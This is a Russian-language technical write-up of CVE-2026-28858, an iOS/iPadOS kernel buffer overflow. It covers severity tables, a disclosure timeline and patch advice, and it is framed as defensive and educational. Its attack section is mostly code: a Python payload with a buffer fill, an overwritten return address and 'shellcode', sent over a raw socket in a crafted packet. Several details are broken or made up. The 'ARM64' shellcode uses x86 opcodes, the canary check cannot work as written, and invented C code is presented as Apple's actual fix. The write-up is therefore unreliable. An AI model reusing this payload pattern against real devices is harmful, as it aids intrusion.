
Технический анализ CVE-2026-28858, критического переполнения буфера в ядре Apple iOS/iPadOS, включая поток эксплуатации, меры смягчения и примеры защитного кодирования.
╔══════════════════════════════════════════════════════════════╗
║ СЕРЬЁЗНОСТЬ: КРИТИЧЕСКАЯ │ CVSS: 9.8 │ CWE-120 │ УДАЛЁННО ║
╚══════════════════════════════════════════════════════════════╝
Удалённый пользователь может вызвать неожиданное завершение работы системы или повреждение памяти ядра в iOS/iPadOS без взаимодействия с пользователем и без привилегий.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-28858 |
| EUVD | EUVD-2026-15131 |
| Опубликовано | 25 марта 2026 г. |
| Последнее обновление | 26 марта 2026 г. |
| CVSS v3.1 | 9.8 / 10 — КРИТИЧЕСКИЙ |
| EPSS | 0.05% |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-120 — Копирование буфера без проверки размера |
| Статус | Проанализировано — Патч доступен |
Переполнение буфера (Buffer Overflow) в Apple iOS и iPadOS, вызванное недостаточной проверкой границ при обработке входных данных ядра.
Реальное воздействие:
| Параметр | Значение | Описание |
|---|---|---|
| Вектор атаки | Сеть | Эксплуатируется удалённо |
| Сложность | Низкая | Без особых условий |
| Требуемые привилегии | Нет | Аутентификация не требуется |
| Взаимодействие с пользователем | Нет | Zero-click |
| Область действия | Без изменений | Ограничено уязвимым компонентом |
| Конфиденциальность | Высокая | Полный доступ к данным |
| Целостность | Высокая | Полная модификация возможна |
| Доступность | Высокая | Сбой системы |
Публичного эксплойта для CVE-2026-28858 не существует. Нижеприведённое представление является концептуальным, основанным на CWE-120 и задокументированном векторе атаки.
# Концептуальное представление переполнения
import socket
# 1. Заполнение выделенного буфера (~512 байт типично для обработчиков ядра)
buffer_fill = b"A" * 512
# 2. Перезаписанный адрес возврата — указывает на зону, контролируемую атакующим
# В реальном iOS/iPadOS: требует обхода ASLR + PAC (Pointer Authentication Codes)
return_address = b"\x41\x42\x43\x44"
# 3. Шеллкод: NOP-слайд + вредоносные инструкции для ARM64
shellcode = b"\x90" * 16 + b"\xeb\x12..." # NOP-слайд + полезная нагрузка
payload = buffer_fill + return_address + shellcode
# Удалённая доставка без взаимодействия с пользователем
# Пример: сетевой пакет с манипулируемым полем длины
import struct
def craft_malicious_packet(target_ip: str, target_port: int):
"""
Создаёт пакет с некорректными метаданными, которые ядро
iOS обрабатывает в фоновом режиме (без пользовательского интерфейса).
Напр.: TLS-сертификат, метаданные изображения, поле сетевого протокола.
"""
# Легитимный заголовок протокола
header = struct.pack(">HH", 0x0001, 0xFFFF) # type=1, length=OVERFLOW
# Полезная нагрузка, превышающая буфер ядра
malicious_data = header + payload
with socket.socket(socket.AF_INET, socket.SOCK_RAW) as s:
s.sendto(malicious_data, (target_ip, target_port))
[Сеть/WiFi/BT] → Некорректный пакет
↓
[Фоновый процесс iOS] → Читает поле "длина" = 0xFFFF
↓
[memcpy(буфер_ядра, данные, 0xFFFF)] → БЕЗ ПРОВЕРКИ ГРАНИЦ
↓
[Переполнение: шеллкод записан поверх стека/кучи ядра]
↓
[Процессор перенаправлен на return_address атакующего]
↓
[Выполнение с ring 0 / привилегиями ядра]
/* ❌ УЯЗВИМЫЙ КОД (до патча) */
void procesar_entrada(char *datos_usuario, size_t longitud) {
char bufer_kernel[512];
memcpy(bufer_kernel, datos_usuario, longitud); // БЕЗ проверки
}
/* ✅ ИСПРАВЛЕННЫЙ КОД (iOS/iPadOS 26.4) */
void procesar_entrada(char *datos_usuario, size_t longitud) {
char bufer_kernel[512];
// Проверка границ — исправление, применённое Apple
if (longitud > sizeof(bufer_kernel)) {
kernel_log("CVE-2026-28858: входные данные усечены [%zu > 512]", longitud);
return; // Прервать до копирования
}
memcpy(bufer_kernel, datos_usuario, longitud);
}
/* Механизм защиты в глубину: Stack Canary */
#include <string.h>
#define CANARY_VALUE 0xDEADBEEFCAFEBABE
void procesar_entrada_segura(char *datos_usuario, size_t longitud) {
uint64_t canary = CANARY_VALUE;
char bufer_seguro[512];
if (longitud > sizeof(bufer_seguro)) {
log_security_event("Попытка переполнения заблокирована");
return;
}
memcpy(bufer_seguro, datos_usuario, longitud);
// Проверка целостности канарейки после копирования
if (canary != CANARY_VALUE) {
panic("Обнаружено разрушение стека — CVE-2026-28858");
}
}
Требуется немедленное действие:
Обновиться до iOS 26.4 / iPadOS 26.4 или новее
23 мар 2026 → Первичная публикация (EUVD)
24 мар 2026 → Опубликован бюллетень Apple #126792
24 мар 2026 → Обнаружено первое упоминание (Feedly)
24 мар 2026 → Оценка CVSS автоматическим анализом
25 мар 2026 → NVD присваивает CVSS 9.8 — Критический
25 мар 2026 → Обнаружение добавлено в Qualys (ID: 610773)
26 мар 2026 → Статус: Проанализировано
Все версии iOS и iPadOS старше 26.4, включая:
Полный список затронутых CPE см. в справочной документации.
| Источник | URL |
|---|---|
| Бюллетень безопасности Apple | https://support.apple.com/en-us/126792 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-28858 |
| CWE-120 | https://cwe.mitre.org/data/definitions/120.html |
Дисклеймер: Представленный код является исключительно концептуальным представлением в образовательных целях и для защитных исследований. Публичного эксплойта для CVE-2026-28858 не существует.